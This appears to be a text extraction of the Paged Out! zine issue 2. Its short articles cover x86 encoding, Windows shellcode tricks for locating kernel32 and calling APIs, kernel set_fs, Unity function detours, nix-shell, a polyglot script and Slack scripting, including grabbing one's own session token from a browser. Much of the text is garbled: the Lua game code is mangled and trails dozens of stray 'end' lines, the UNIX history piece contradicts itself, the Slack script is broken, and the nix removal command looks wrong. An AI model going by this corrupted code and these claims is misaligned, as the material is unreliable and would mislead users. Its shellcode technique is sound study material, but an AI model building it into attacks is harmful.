It seems PO!#1 was received well. OK, that was an understatement - the download count (over 135k at the moment of writing these words) and the positive feedback we've received blew my predictions out of the water! It seems our readers appreciated the old-school zine feel, liked the experimental one-page format, and enjoyed the topic choice.

At the same time I realize we still have a long way to go on multiple fronts. To give you a glimpse of what's on my mind, here are three most urgent matters.

First of all, the print files proved to be more tricky than expected. Thankfully the first version is being battle-tested at a printing house as we speak, so it shouldn't be long now. Once we have these, we'll claim we've reached beta2.

Secondly, and even more importantly, we have even more delays with optimizing the PDFs towards screen readers (text-to-speech engines and the like). This requires more work both on the process side and technical side, but we'll get there. And once we do, we'll call it the final version.

And last, I'm thinking of re-working the article review process for PO!#3 to distribute the review work more evenly both in terms of time and between reviewers, and to automate certain things we usually check for. So, if you've written an article for PO!#1 or PO!#2, note that there will be changes (*the only constant thing is change* and all that).

But enough shop talk. The second issue of Paged Out! has arrived, and it is time for you to start browsing through the articles our amazing authors conjured up! And in case you have any feedback, please don't hesitate to email gynvael@pagedout.institute, or just jump on our Discord (https://discord.gg/QAwfE5R).

Enjoy!

Gynvael Coldwind
Project Lead
Asymptotic Arithmetic Coding for Trees

You have a tree and you want to sort a list of some of its nodes. You need a sorting key. Parents should go before children, and sibling order is respected. You could number every single node in the tree, but you need to renumber often. You can assign fixed paths like [1, 5, 2, 1], to reduce that, but now your keys are variable length and harder to compare. Can we combine both and get \( O(1) \) space-and-time keys on the fly?

Arithmetic Coding is a well-known lossless encoding technique.

Given a string in some alphabet,

we can map its symbols onto the range \([0...1]\) relative to their expected distribution.

These divisions can be nested.

We can encode our string by picking the matching interval for each character.

The final interval uniquely identifies this particular string.

Pick a short number in this range, e.g. 0.460561732

and encode it in binary. Likelier strings have longer intervals and require less bits.

Asymptotic Arithmetic Coding is the same idea, but for encoding an infinitely large alphabet, e.g. strings of natural numbers.

This is done using an artificial \( 1/(x+1) \) cumulative distribution to split \([1...0]\) into infinitely many intervals.

These intervals are infinitely nested too (1 \( \rightarrow \) 0 is better for numerical precision).

This encoding is only reversible and 1-to-1 if you remember the string’s original length.

To avoid this, we treat 0 as the stopping symbol and increment child indices by 1. We can then pick e.g. the start of each interval to get a direct 1-to-1 encoding.

Parents don’t renumber when children change. This fractional index is stateless and its mapping curve can be tuned.

When truncated to a float or double, it takes quite a large tree before the precision breaks down.

Example code in JavaScript: https://gist.github.com/unconed/e0624438740b6450b05c07b7992766c5
As an epitome of CISC architectures, x86 has instructions of variable length, often complex to decode. Moreover, its instruction set has grown tremendously and nowadays it is infeasible to get by without a good disassembler. However, this quick guide aims to give at least a general idea of what is what.

Originally there was a small set of byte values that were not standalone opcodes, but could modify behavior of an instruction that followed. They included LOCK (F0), REPZ (F3), REPNZ (F2), and the ones introduced by 32-bit architecture that would alter the size of operand (66) or addressing mode (67).

With 64-bit architecture came a new kind of prefix, called REX, which used a whole range of byte values (40-4F). Its variable bits could hold additional information about operands, allowing for more registers.

Then AVX introduced multi-byte VEX prefix (2-byte variant starting with C5 and 3-byte one starting with C4), which could hold even more auxiliary data, including entire third operand.

Finally AVX-512 brought 4-byte EVEX, a monstrosity that has even more bit fields, including things like mask operand and rounding mode.

The only part that is always present. It may be longer than one byte if it begins with 0F (up to three bytes if it starts with a sequence like 0F 38 or 0F 3A), but if (E)VEX is present, the opcode is always short, since the prefix has a field that selects the sheet of instruction codes.

The ModR/M may indicate that the address of a memory operand has Base, Index and Scale components; this single byte then provides them.

A single byte defining register/memory operands, present for instructions that require it. One of the operands may be either a register or memory location, the other one can only be a register. For specific opcodes the bits that would define the latter are instead an extension of the opcode.

Value added to the address of a memory operand, present depending on the ModR/M. It may be 1, 2, or 4 bytes long.

There are special variants of MOV that have Displacement without ModR/M, and then it may even be 8 bytes long.

Contents of an operand with directly stated value, if there is one. Usually 1, 2, or 4 bytes, but there is a variant of MOV (with register as the target) that can have 8 bytes here.

Tomasz Grysztar

Assembly

https://twitter.com/grysztar
https://flatassembler.net/

Tomasz Grysztar
SAA-ALL 0.0.5

Legacy register names have unintuitive coding: RAX is 0, RCX is 1, RDX is 2 and RBX is 3.
C as a portable assembly

Porting 32-bit assembly code to 64-bit

Back in 2014, shortly after the x64dbg debugger was announced, I decided to port my OllyDbg plugin, Multiline Ultimate Assembler, to x64dbg. x64dbg is an open-source assembly level debugger for Windows, and it comes in two variants: an x86-64 debugger and an x86 (32-bit) debugger. OllyDbg only supports 32-bit debugging, and so did my plugin, so I began my porting by limiting myself to the x86 variant of x64dbg. After having a version that somewhat works, I moved on to the x86-64 variant.

The porting was supposed to be mainly boring adjustments of 32-bit variables to pointer-sized ones, but soon I realized that one more detail needed to be taken care of: the text editor component that I used, RAEdit, was written in x86 assembly! After a failed attempt to find a decent replacement, I came up with the idea to try and convert the assembly code to C, which would allow to compile the code for the x86-64 architecture.

The RAEdit component source code uses the MASM (Microsoft Macro Assembler) syntax, which provides macros for common constructs such as procedures, conditions and loops. That's great, since such macros can be easily translated to C, unlike their raw assembly variants. So I began working on a script to translate every directly translatable line of assembly to C. Examples:

```c
sub [edi].CHARS.len, ecx
invoke InvalidateRect,[ebx].EDIT.hsta,NULL,TRUE
while byte ptr [esi] & ecx<255 & edx<16
IsValidLine proc uses ebx,hMem:DWORD,nLine:DWORD
```

After dealing with the directly translatable lines, I was left with several snippets which I figured are best to tackle manually. One problematic case was the usage of JXX commands, such as jnz (jump if not zero), jnb (jump if not below), etc. - I rewrote those to use MASM's .if macro. Another problematic case was the usage of CPU flag registers such as ZERO and CARRY - these cases were rewritten as well. Finally, an interesting trick was used in one of the text parsing procedures, which saved the ESP (stack pointer) register, and if an error occurred in that or nested procedures, the ESP value was simply restored, saving the need to return from the nested procedures. I could re-implement it in C by using the little-known setjmp/longjmp functions, but I preferred to change the code to return and handle error codes.

With the above adjustments, as well as other minor ones, I managed to get the code to compile. Due to the fact that there's no type correctness in assembly, GCC displayed more than 1000 warnings, most of which complained about incompatibility of types. I was actually surprised that it was able to compile. Obviously, the code didn’t work right away. I had to fix a couple of things manually, but after some tweaking it actually worked! And after some more tweaks for 64-bit compatibility - mainly adjusting pointer vs integer types and pointer-sized constants - the compiled 64-bit library worked as well!

It's interesting to compare manually written assembly code with code generated by a compiler from the assembly-like C code. In most cases the original code is shorter and looks more optimized, at least for GCC. For example, the compiled code uses the stack for local variables much more often than the original assembly code. Perhaps compiler authors could use this porting project to improve the compiler. It's interesting to note that GCC, being the only major compiler to support the non-standard nested functions in C, is the only compiler that can compile the ported code. Therefore I didn’t check code generated by other compilers.

So there we have it, originally written in 32-bit x86 assembly, the RAEdit library can now be (hopefully) compiled for every architecture. It would be interesting to check whether it works on ARM/Windows RT, too.

The assembly code with adjustments and the conversion script can be found here in the “experiment” branch: [https://github.com/m417z/SimEd](https://github.com/m417z/SimEd)
The C port repository can be found here: [https://github.com/m417z/RAEditC](https://github.com/m417z/RAEditC)
Baking really good x86/x64 shellcode for Windows

My idea is to create small, position-independent, cross-platform x86/x64 code with some nice tricks. Here are some snippets commonly used in shellcode for example.

Get PEB and kernel32.dll base address

The trick is to use the DEC EAX/RAX prefix and CMOVcc to conditionally get the data we need: in x86 we get the PEB address in EBX; in x64 has no effect. In x86 CMOVs moves ESP to EDX, but not in x64, RDX remains 60h. In x86 GS:DEC EAX and CMOVWS have no effect. In x64, we get the PEB address in RBX.

In x64 SETZ sets CL=1. We use IMUL to dynamically adjust the offsets to read Ldr and InLoadOrderModuleList. PUSH/PUSH don’t need REX, it’s compatible for both modes, it’s a nice optimization trick. The same play with SETZ/IMUL can be used to parse the PE when looking for API addresses in a DLL.

How to call APIs

W64 uses FASTCALL, so some APIs will require 4 QWORD slots to spill registers, it’s called the “shadow space”. We will make the slots using PUSH that in W32’s STDCALL will have the effect of pushing a parameter, it would look like this in W64:

```assembly
mov rdx, lpFindFirstFileData
mov rcx, lpFileName
push rax ;align before call
push rax ;shadow space slot
push rax ;shadow space slot
push rdx ;x86: push lpFindFirstData
push rcx ;x86: push lpFileName
push myapis.FindFirstFileE ;for example, 0ch
pop eax
call jump2api
```

When I find the addresses of the APIs I need, I push them onto the stack, but to pick an API address from it, we again need to calculate the correct offset. The idea is to use the offset for x86 and multiply it by 2 in a trampoline code I call jump2api. EAX = API offset, ESI is a pointer to the API addresses in stack:

```assembly
push rax
lea edx, [esi+eax]
```

What is is64bit? It’s a detection gem by kumbra for my BEAUTIFULSKY codebase:

Bonus: Exception handling

Using Vectored Exception Handling it’s possible to create a compatible handler for both modes. Here begins our handler:

```assembly
push rcx
```

We use the REX prefix/CMOVWS trick to get the pointer to EXCEPTION_POINTERS in EBX/RBX, which in x64 is passed to the handler via RCX, and in x86 via the stack. We use CALL to “push” to the stack the address that we use to continue execution replacing EIP/RIP in CONTEXT, otherwise it would continue where the exception occurred. So set_newIP is this code:

```assembly
call set_newIP
```

We get the pointer to CONTEXT and calculate the offset to EIP/RIP and with POP we replace it with the “pushed” address, then return EXCEPTION_CONTINUE_EXECUTION and the execution continues after after “call set_newIP”.

SAA-TIP 0.0.5

GitHub: https://86hh.github.io

Twitter: @hh86_
Hacking 3.3V USB TTL Serial Adapters To Operate At 1.8V

FT232R chips are found on many USB TTL adapter boards and cables, often in 3.3V or 5V (sometimes both). While most of the time these configurations suffice, what do you do when you find yourself with a UART that operates at 1.8V?

Disclaimer: I am not an Electrical Engineer. The solution outlined here works for hobbyist purposes and should not catch fire, but don’t do this in production.

Why?

When analyzing embedded hardware devices, debug output from an on-board serial console is invaluable. More often than not, embedded boards have a UART with active RX and TX pins. Once located, a simple USB to Serial TTL device can be attached, allowing one to obtain debug output data and in some cases, access the bootloader console or a login prompt.

These USB adapter boards are sold online for under $10. Based on the FT323R chip, these common devices are often found in a breakout board style which allows for header pins to be soldered on for extending functionality. In their most basic form, these boards are powered by the +5V of the USB connector and offer a way to toggle between 3.3V and 5V.

Transmission of bits on the RX and TX lines is accomplished by setting the voltage on the line either high or low. In the case of a 3.3V UART, the high value is +3.3V and the low is 0V. The same goes for 5V UART, the high being +5V. Sometimes, however, it is not out of the ordinary to encounter a 1.8V UART (see: DEFCON 27 badge).

Instead of buying yet another piece of hardware that handles the 1.8V case, applying the concept of a “voltage divider” can extend a 3.3V and 5V FT232R adapter to also operate in a 1.8V mode simply by utilizing a couple of resistors.

Enter: The Voltage Divider

A voltage divider simply redistributes an input voltage across multiple components allowing for a reduction in the output voltage. Using the following formula, do the calculations, and you may obtain a desired voltage. A perfect 1.8V is not necessarily required, so resistors that produce a “close enough” output voltage will do. As it turns out, the following values will produce a 1.85V output at 8.25mA, which is good enough for the FT232R.

\[
V_{in} = 3.3V, Z_1 = 180\Omega, Z_2 = 220\Omega
\]

Making The Connections

Section 3.2 of the FT232R datasheet describes pin #4: VCCIO, as the reference pin that dictates the voltage levels on the output pins. Many of these common breakout boards have jumpers or switches that allow adjusting the output to be either 3.3V or 5V, but as per the documentation for the FT232R, VCCIO can be set to other common voltages, such as 1.8V or 2.8V.

Locate the GND, 3.3V, and VCCIO pins on the breakout board. Attach the 180Ω resistor to the 3.3V pin and the 220Ω resistor. Terminate the other end of the 220Ω resistor at the GND pin. At the junction between the 180Ω and the 220Ω resistors, attach a line to the VCCIO pin on the board as seen in Figure 1. The output voltage at this point can be measured with a multimeter and should register around 1.8V.

Reminder

When connecting a voltage to VCCIO, be sure to disconnect any voltage selector jumpers elsewhere on the board. The VCCIO input method is used instead of the onboard selector!

Divider vs Regulator

Although this approach works in a pinch to get you up and running, an astute reader (or anyone with Electrical Engineering chops) will see the problems inherent with this approach.

For one, the datasheet specifically states that a discrete low dropout (LDO) regulator should be used to drive the VCCIO pin from an external supply. LDO’s provide a fixed output, whereas a divider is simply a ratio that will scale the input. This means if the input to the divider fluctuates, so will the output. The 3.3V pin on the FT232R is supplied by an LDO, so it should be stable and works in this scenario.

Additionally, due to internal circuitry, lower value resistors are favorable in this case. Internal resistance could cause the voltage supplied to the VCCIO pin to again be divided to the point where it is no longer discernible. However, if the resistance is too low, the power draw will be too high and will cause them to heat up and potentially cause damage. 220Ω and 180Ω resistors seem to work, whereas 220KΩ and 180KΩ resistors failed to alter output even though 1.8V was supplied to the VCCIO pin.

https://en.wikipedia.org/wiki/Voltage_divider

How did I force Unity to unload native plugins

Introduction
Once, I happened to use a C++ library in Unity3D. It uses C# for scripting (and for good reasons), but allows for so called native plugins – namely just plain old DLLs that C++ and other natively compiled languages can produce.

You might just download/build DLL and use it, but you are likely to add some wrappers: to expose C interface (C++ standard doesn’t define ABI beyond that of C), and/or ease usage at managed, i.e. C# side. Other than for 3rd parties, you may put part of the game’s code to native language because it’s often faster and allows usage of lower-level platform features. Because of this you may often work on native side of your code simultaneously to rest of the game.

The problem
After some time I realized that Unity Editor keeps the previous DLL file open, so it can’t be replaced by newly built one (or deleted or moved or anything). Instead of some option to release it I found this message:

![warning]

So the development cycle was to: test the plugin, unload project, recompile the plugin, load the project again. Given the time it takes to load a project, it’s a pain! This problem is hanging out since plugins were introduced and is still open as of this writing.

Why is it so
Plugins are mostly implemented by Mono framework (which Unity uses to execute .NET code, like scripts) through usual .NET P/Invoke mechanism, which acts like a ‘bridge’ that allows for calling native code from managed code and vice versa (so called interop). First you declare a function like:

```csharp
[DllImport("MyPlugin")]
extern static int Foo(int arg);
```

When such a function is called, it lazily loads relevant DLL file (.dll/.so/.dylib), then finds and calls Foo. From which folder? That’s quite intricate in general case, but for us it is Assets/Plugins in Unity project. When does it unload DLLs? Only at program’s exit[1]. Since P/Invoke is mostly used for system libraries or these shipped with final product, this is usually fine – they’re not altered too often after all. Eventually at development time you can just restart your program. The problem is when you run a game in editor, the program to ‘just’ restart is the editor itself.

Loading DLL manually
Well, we can stop relying on Mono and handle DLLs ourselves, which allows us to load and unload it whenever we want. That’s platform dependent, but fortunately systems are very similar in this subject. Example code for GNU/Linux:

```csharp
[DllImport("libdl.so")]
static extern IntPtr dlopen(string name, int flags);
[DllImport("libdl.so")]
static extern IntPtr dlsym(IntPtr handle, string symbol);
[DllImport("libdl.so")]
static extern int dlclose(IntPtr handle);
```

So well, it works. It is kind of what .NET does under the cover when using P/Invoke. However doing so for every function would bring boilerplate, runtime overhead and wider scope for errors. But it turns out that we can automate it a little. Actually, a lot.

Automating things
P/Invoke is generally OK, it’s only when developing that we want to alter its behavior. Alter behavior, hmm. Self-modifying code, don’t you think? Surprisingly, this cray practice is actually being used, even in high-level environments like .NET. There are even libraries like Harmony[2] which allow for modding games in this way. It inserts a ‘jump trampoline’ into compiled native code, so that when game calls certain function it eventually ends up executing function provided by modder instead of original one. There are all sorts of technical problems though, including: ABI compatibility, memory permissions, compiler’s debug stabs, relying on particular .NET execution engine’s internals. (Btw I’ve found like 4 or 5 bugs in Mono while working on this project.) Nonetheless, it works.

There are actually 3 ways to achieve this:
1. Mess with in-memory methods’ metadata structures.
2. Place jump to another location at beginning of function’s code.
3. Replace the actual function’s code with that of target function.

Here is a basic example code for method 2., the one I used. It will only work on x64 Mono with release configuration and requires C#’s unsafe context. Even then, it isn’t to be relied upon and might break in future versions of runtime.

```csharp
var of = typeof(SomeType).GetMethod("Func2Replace", BindingFlags/*flags*/);
var nf = // Analogously to above
RuntimeHelpers.PrepareMethod(of.MethodHandle);
RuntimeHelpers.PrepareMethod(nf.MethodHandle);
var dst = nf.MethodHandle.GetFunctionPointer().ToInt64();
var src = of.MethodHandle.GetFunctionPointer().ToInt64();
*(ushort*)src = 0x8848; // move rax, <cr>
*(long*)((ushort*)src+10) = 0xE0FF; // jmp rax
```

So if regular functions can be ‘replaced’ like that, so can the ones with [DllImport]? Apparently so. In the point of view of Mono and .NET, these are just properly tagged functions, without body, but instead generated entirely by the runtime. They ensure that DLL is loaded, function’s address is found etc. and eventually jump into its address. So, we can detour it and put our own implementation, just like modders do. It will allow for unloading the DLL and maybe a little more, like logging invocations to file. With this approach you can use the usual P/Invoke style (better, no actual code change is required!). This can be then easily disabled for production builds.

The actual code to do so is unfortunately more complex as it has to address further technical conundrums. First off, we still need delegate types for functions, which would describe their signatures. We could provide them as with previous approach, but there’s a better way: .NET allows for dynamic generation of types at runtime. With little bit of hacking we can generate them on the fly from the actual function definitions obtained via reflection. We than copy internals. (But we do so.

I added some options, UI and error handling and placed it all at GitHub[3], so fell free to use it and contribute.

---

[1] At AppDomain unload event to be specific
A Simple Tile-Based Game Engine With LÖVE

Go to http://love2d.org to install LÖVE — the code here is the basis of a game engine, not a full game. It'll hopefully show that it's not too hard to make your own tile-based game!

tilemap = {
    {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1}, -- A map is simply a table (like a 1 list)
    {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 2, 1}, -- in python) of tables,
    {1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 2, 2, 1}, -- each representing a row
    {1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 2, 2, 1}, -- new_x, new_y = unpack(poss_moves[dir])
    {1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1} -- That way, the numbers and the tiles in the map are one to one
}

map_tiles = { -- Table is Lua also works like hash-tables (think Python's dictionaries).
    [0] = {col or = {0, 0, 0}, passabl e = true }, -- 'right'
    [1] = {col or = {1, 1, 1}, passabl e = false }, -- 'up'
    [2] = {col or = {1, 0, 0}, passabl e = true } -- 'down'
} -- 'maps' the map numbers to tiles with their own attributes

mobs = { -- The player is simply another mob. In this table, we store only the color.
    pl ayer = {col or = {0, 1, 0}, x = 2, y = 3}, -- store only the color.
    or c = {col or = {0, 0, 5, 1}, x = 2, y = 5} -- the x and y for each mob, not a whole 'nother tile map of mobs
}

ts = 16 -- The size of each drawn tile
function draw_tile(x, y, entity) -- This will draw the tile
    love. drawtile( x*t s, y*t s, 1*t s, 1*t s)
end -- when it's called in the love.draw function

function move(mb, dir) -- The move function need not be different between enemy mobs and the player.
    local poss_moves = { -- player. Here, we create a movement system that can be used by both. We'll deal with the arrow
        ['up'] = {mb. x, mb. y - 1}, -- 'left'
        ['down'] = {mb. x, mb. y + 1}, -- 'right'
        ['left'] = {mb. x - 1, mb. y}, -- ['right'] = {mb. x + 1, mb. y}
    }

    if not mb. x, mb. y = unpack(poss_moves[dir]) then -- keys later
        if map_tiles[tilemap[new_y][new_x]]:passable then
            new_x, new_y = unpack(poss_moves[dir]) -- keys later
        end
    end

function follow_target(seeker, target)
    if target.x < seeker.x then move(seeker, 'left')
    elseif target.x > seeker.x then move(seeker, 'right')
    end
    if target.y < seeker.y then move(seeker, 'up')
    elseif target.y > seeker.y then move(seeker, 'down')
    end

end -- These functions are LÖVE's 'callback' functions. They are called automatically at certain times. Can you guess when?

function love.keypressed(key) -- games use libraries to make timing code less...icky
    if key == 'up' or key == 'down' then
        move(mobs.pl ayer, key) -- this function is called?
    end
end

end

end

end

end

end

end

end

end

end

end

end

end

end

end

end

end

end
Faking kernel pointers as user space pointers

The Linux kernel has routines that emulate system calls within the kernel. The most obvious ones are the socket routines from the net subsystem as they are widely used by many other subsystems. They are pretty handy and most are just wrappers around the functions that do the heavy lifting of the system calls.

```c
int kernel_setsockopt(struct socket *sock, int level, int optname, char *optval, unsigned int optlen)
{
    mm_segment_t oldfs = get_fs();
    char __user *uoptval;
    int err;

    uoptval = (char __user __force*) optval;

    set_fs(KERNEL_DS);
    if (level == SOL_SOCKET)
        err = sock_setsockopt(sock, level, optname, uoptval, optlen);
    else
        err = sock->ops->setsockopt(sock, level, optname, uoptval, optlen);
    set_fs(oldfs);
    return err;
}
```

Listing 1: `setsockopt` in-kernel variant

Listing 1 is the actual implementation of the in-kernel variant of the `setsockopt` system call. When the kernel interacts with the user space via a system call, it may need to copy data from user space to do something useful. In case of `setsockopt`, the buffer pointed to by `optval` may have a length of size `optlen` and may refer to the many options available via `optname`.

Some may point out that there must be some sort of special type cast with the macros `__user __force`. In fact, this special type cast has the purpose to do a semantic notation for a tool called ‘smatch’ and it’s not actually "faking" the kernel pointer into a user pointer. Also note that the cast will not impose any performance penalty, as through common sub-expression elimination, the cast is likely to disappear. The actual "faking" occurs on the call `set_fs(KERNEL_DS)`.

```c
static inline unsigned long _copy_from_user(void *to, const void __user *from, unsigned long n)
{
    unsigned long res = n;
    might_fault();
    if (likely(access_ok(V_ERR_READ, from, n)))
        { kasan_check_write(to, n);
            res = raw_copy_from_user(to, from, n); }
    if (unlikely(res))
        memset(to + (n - res), 0, res);
    return res;
}
```

Listing 2: Implementation of `_copy_from_user`

When copying from a user buffer, the kernel will use a function called `_copy_from_user`. The implementation checks if the user buffer belongs to the user portion of the virtual address space, if that’s the case it may proceed with the copy. The check is performed by the macro `access_ok` and its implementation is in Listing 3.

```c
# define access_ok(type, addr, size) /
   ({
        WARN_ON_IN_IRQ();
        likely(!__range_not_ok(addr, size, 
            user_addr_max()));
   })
```

Listing 3: Implementation of `access_ok`

The call `set_fs(KERNEL_DS)` will set the maximum user address of the current running thread to the maximum address possible, therefore bypassing the `access_ok` check in a kernel buffer. After calling the system call, the previous user address is restored via `set_fs(oldfs)`.

In modern operating systems with paging based virtual memory, the virtual address space is split between two parts (user/kernel), introducing more semantics to virtual memory pointers. On 32-bit, the user space virtual address gets most of the virtual address space, this usually accounts to 3GiB of the total 4GiB address space. The rest is left to the kernel. Checking whether a pointer is from user space or kernel space needs just a simple arithmetic operation.

In the Linux kernel, the split address can be set via the configuration system using the `CONFIG_PAGE_OFFSET` option. Some predefined virtual address space layouts can also be found in the configuration system.

---

1 Code style adapted.
2 A tool for static analysis of C code.
3 Code style adapted.
4 Original comments removed.
5 The kernel may also use high memory mappings when under memory pressure.
How Much Has *NIX Changed?

Originally published on Advent of Computing 1

UNIX-like systems have dominated computing for decades, and with the rise of the internet and mobile devices their reach has become even wider. Most computers nowadays use more modern versions and descendants, such as Linux. But exactly how different are these modern *NIXes from the early releases of AT&T’s operating system?

So, my question was this: how close is a modern *NIX userland to some of the earliest UNIX releases? To examine this I’m going to compare a few key points of a modern Linux system with the earliest UNIX documentation. I can get my hands on. The doc I am going to be working off of (Via TUHS 2) is from November 1971, predating v1 public release of the system.

I think the best place to start this comparison is to look at one of the highest-profile parts of the OS, that being the file system. Under the hood modern EXT file systems are completely different from the early UNIX FS. However, they are still presented in basically the same way, as a hierarchical structure of directories, files, and device files. So paths still look identical, and navigating the file system still functions almost the same. Often used commands like ls, cp, mv, du, and df all exist in the pre-v1 docs as well as modern distros, and largely function the same. So do mount and umount. But, there are some small differences. For instance, cd doesn’t show up anywhere in the early docs, instead chdir fills its role. Also, chmod is somewhat different. Instead of the usual 3-digit octal codes for permissions we use today, this default to using a much newer version of modern system. For the most part, all the file handling systems are completely different from the early UNIX today’s version. But what about programming utilities? This is where some big changes start to appear. First off, you won’t find any C compiler here. Internally, UNIX wouldn’t switch from assembly to C for another few years. To see what programming tools are still readily supplied I decided to compare the ones present in the ‘71 doc to the default Debian 9.9.0 install set (released April, 2019). The assembler, as still exists, but obviously for a different target than the PDP-11 used in ‘71. A linker, ld, is still present and accounted for today. However, the text editor, ed, is nowhere to be found in Debian’s base install (but it is still available in aptitude). The same goes for the FORTRAN compiler for - nowadays for is used for loops instead of compiling mathematics programs. If you want to use FORTRAN you will need to install a compiler like gfortran. Something that I found surprising in the early UNIX docs was bash, a BASIC interpreter. Obviously, bash is not in the standard Debian install list today. Another relic is the B compiler described in the documentation (just as a side note, in the command index it shows a lowercase b but capitalizes it in the actual man page). B lived a short life, and would eventually be superseded by C. So seeing a listing for B is really a sign of the time this manual was released in.

Overall, it would appear that the core UNIX-like experience has changed little. A lot of the tech under the hood has been completely revamped many many times over, but the core way we interact with the system and most of the commands that come stock have remained the same since the 1970s. As a final note, I was blown away by just how much the very earliest man pages resemble current man pages. As an example, here is a side-by-side of ls from the 1971 docs on the left, and man 1s from Debian 9.9.0 on the right.

---

1 http://adventofcomputing.libsyn.com
Ad-hoc workspaces with nix-shell

Have you ever been in a situation where you want to quickly jump into an isolated workspace and play around with a couple of things? Compile some C code with library dependencies or write a one-off Python script requiring packages. Well, I’ve been there and you probably too. In such situations, Nix comes to the rescue!

Enter the Nix project

It would take a series of articles to describe Nix well. Nevertheless we can already reap the benefits by focusing on nix-shell, which is a part of the project and can be used standalone. Long story short, Nix is a cross platform package manager with a bit different approach to packaging than your standard OS’s one. It doesn’t spread the package into different directories but rather creates a self contained directory with all the package content inside. Every package is identified by a hash made out of it’s dependencies and build inputs, which has a nice property - multiple variations of the same package can be installed simultaneously, differing only by build options for instance.

After installing Nix (https://nixos.org/nix/download.html), we get a few programs on the path including nix-shell. When executing nix-shell with -p option (-packages) we can pass a number of packages we want to bring into an isolated scope. The installation comes with the Nix Packages collection (Nixpkgs) containing a set of over 40 000 packages.

Ad-hoc environment

To get a feel what can be achieved with nix-shell, let’s see how can we create a simple ad-hoc workspace to work on a hypothetical CTF task.

```
$ nix-shell -p python3Packages.ipython pwndbg socat qemu checksec gcc libpng radare2
```

We get a bash shell with the packages loaded to hack around.

```
[nix-shell:~]$ gcc a.c -lpng
[nix-shell:~]$ qemu-x86_64 a.out
```

Going less ad-hoc

For a longer project it is good to write down the required dependencies in a shell.nix file which will be loaded automatically by nix-shell. The definitions can be later reused to build a release of the project with nix-build and turn it into a reusable Nix package. The compositability is a very strong feature of Nix.

Caveats

Nix is very feature-rich and the learning curve might be steep. Fortunately, Nix Pills https://nixos.org/nixos/nix-pills is a great resource I can wholeheartedly recommend.

While Nix is advertised as cross platform, build failures on MacOS do happen more often than on Linux, the latter also provides more packages in general. The community is working hard on addressing those issues.

Scratching the surface

This was just a tip of the iceberg what Nix can do for you. Under the hood, everything is based on the Nix expression language used to describe how all the packages are built and depend on each other. The abstraction is in fact so powerful, that allowed to create NixOS - a whole Linux distribution with unique properties such as first class declarative OS configuration with atomic upgrades and rollbacks. Got interested? Go and check the Nix project site https://nixos.org

Didn’t like Nix? No problem, it is very simple to remove from your system. Simply rm -rf /nix/.nix-profile, the first is where all the data is stored, second is just a symlink.
Alright, no one here to bother us. My name is "chimera.bat". I'm a chimera script, crafted to be a correct BAT, JS, VBS and WSF file. If you run me as Batch file, I will execute myself in Windows Script Host environment as WSF file. WSH then will interpret me as VBScript file and finally as JScript file, keeping the global context from previous execution.

Please meet my friends:

- Single-line comment in VBScript, being also a string literal delimiter in JScript;
- /* Start of JScript block comment;
- </script> XML comment (WSF file is an XML);
- rem Both Batch and VBScript comment (alias for ');
- ;var rem; /* also declared here as hoisted JScript variable identifier. Appropriate comments are soul mate of every programmer, keeping scripts understandable by all target engines including you yourself!
- Let's run some VBScript code:

```
Class Person
  ' Callback property which should return a farewell message.
  Public sayGoodbye

  ' Destructor method.
  Private Sub Class_Terminate()
    ' Call sayGoodbye and show message before destruction.
    MsgBox me.sayGoodbye()
  End Sub
End Class
```

Now, we've defined a class called Person. Unfortunately, it's not directly accessible from JScript context, so we need to create a helper method which returns the newly-created object.

```
Function createPerson
  Set createPerson = New Person
End Function
```

OK, we can try to switch to JScript code: Let's */ try { ' to create a new Person object:

```
rem; var person;
rem; person = createPerson();
```

Now, we should ask user for the name. Ouch.. there is no InputBox in JScript (going back to VBScript).

```
'; } catch(e){ person = {} } /*
userName = InputBox("What's your name?")
```

*/ Unlike JScript, VBScript is case-insensitive. That makes JScript context a bit inconsistent: all identifiers declared in VBS are accessible under any letter case combination.

```
'; try {
  var username = "Mr/Ms " + USERNAME;
}; } catch(e) { }
```

... unless you override one of these combinations. Anyway, it is a good time to finish this abomination and define our goodbye-message callback.

```
'; person.SAYGoodBye = function() {
  return "Bye, " + username; }
```

Do you feel it? Control is slowly flowing between VBScript and JScript code, jumping from vbscript.dll to jscript.dll and back. One of the intentions of the Windows Script Files was to mix languages, combining various scripts and filling gaps in of VBScript features with JScript code (e.g. sorting arrays, bitwise operations etc.). Writing chimeras is the best use case for this feature I have found so far. */
Dragons will be unleashed on 4.4.2020
Be a part of the next BSides event
More on https://bsidesljubljana.si

0x41414141
just another infosec youtube channel
CTF writeups/binary exploitation/reverse engineering

youtube.com/0x41414141
The Dork's unofficial guide to scripting Slack

@cvs26 | TheCodeArtist.blogspot.com | linkedin.com/in/chinmayvs

The following script is based on https://github.com/slackapi/python-slackclient

Download and save the following as simpleSlackClient.py

```python
#!/usr/bin/env python3.6
import json, os, slack

# The blog-post URL to share in the reply message
post_url = '<TODO: Add short-URL to this article>

# Handler for incoming Slack messages
@slack.RTMClient.run_on(event='message')
def say_hello(**payload):
    data = payload['data']
    web_client = payload['web_client']
    rtm_client = payload['rtm_client']

    # Uncomment the following lines
    # to view the incoming msg objects as json
    #data_string = json.dumps(data)
    #data_parsed = json.loads(data_string)
    #print(json.dumps(data_parsed, indent=4, sort_keys=True))

    if 'text' in data:
        if 'Show me how to script Slack' in data['text']:
            # Obtain the relevant details
            channel_id = data['channel']
            thread_ts = data['ts']
            user = data['user']

            # Prepare the response
            response = f'Hi <@{user}>
            Here is an intro to scripting Slack
            <{post_url}>

            # Send the response
            web_client.chat_postMessage(
                channel=channel_id,
                text=response_text,
                thread_ts=thread_ts
            )

    # Program starts here
    if __name__ == '__main__':

        # Initialise a Slack Real-Time-Messaging(RTM) client.
        slack_token = os.environ['SLACK_API_TOKEN']
        rtm_client = slack.RTMClient(token=slack_token)
        print('Launching Slack client script...')
        rtm_client.start()

# Introduction
Slack APIs require the client to authenticate itself with a valid Slack token. All types of tokens are NOT created equal. Certain tokens have additional permissions associated with them. For more details, checkout Slack oauth-scopes, scopes, and permissions.

The official approach to obtain a Slack token involves creating a Slack App as the first step. A quick hack to obtaining a valid Slack API token for your personal experiments is to capture a valid token when logging-in into a Slack workspace in your browser.

